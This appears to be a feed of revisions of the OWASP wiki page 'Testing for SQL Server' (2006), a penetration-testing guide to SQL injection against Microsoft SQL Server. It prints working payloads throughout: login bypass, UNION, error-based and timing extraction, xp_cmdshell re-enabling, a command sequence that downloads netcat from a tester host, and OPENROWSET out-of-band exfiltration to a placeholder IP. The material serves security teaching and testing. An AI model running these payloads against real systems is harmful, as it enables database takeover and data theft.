select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniel Bleichenbacher: &amp;quot;Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1&amp;quot;, CRYPTO 1998, pp1-12.&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13554</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13554"/>
				<updated>2006-11-22T17:31:56Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat (which runs on Windows) and Sqlninja (which runs on *nix).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 8: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
One of the most useful commands in SQL Server (at least for the penetration tester) is the OPENROWSET command, which is used to run a query on another DB Server and retrieve the result. We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniel Bleichenbacher: &amp;quot;Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1&amp;quot;, CRYPTO 1998, pp1-12.&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Testing_for_SQL_Server&amp;diff=13546</id>
		<title>Talk:Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Testing_for_SQL_Server&amp;diff=13546"/>
				<updated>2006-11-22T00:30:21Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I think that the timing attack described by Daniel Bleichenbacher is too much of a different nature to be used as an example for the WAITFOR-based injection...&lt;br /&gt;
Moreover, we should probably change the terminology from &amp;quot;timing attack&amp;quot; to &amp;quot;inferenced attacks&amp;quot; which is the original term used by David Litchfield and is a more general term, encompassing other similar techniques based on error codes and parameter splitting (see his paper in the references)&lt;br /&gt;
...what do you guys think ?&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13544</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13544"/>
				<updated>2006-11-22T00:26:35Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
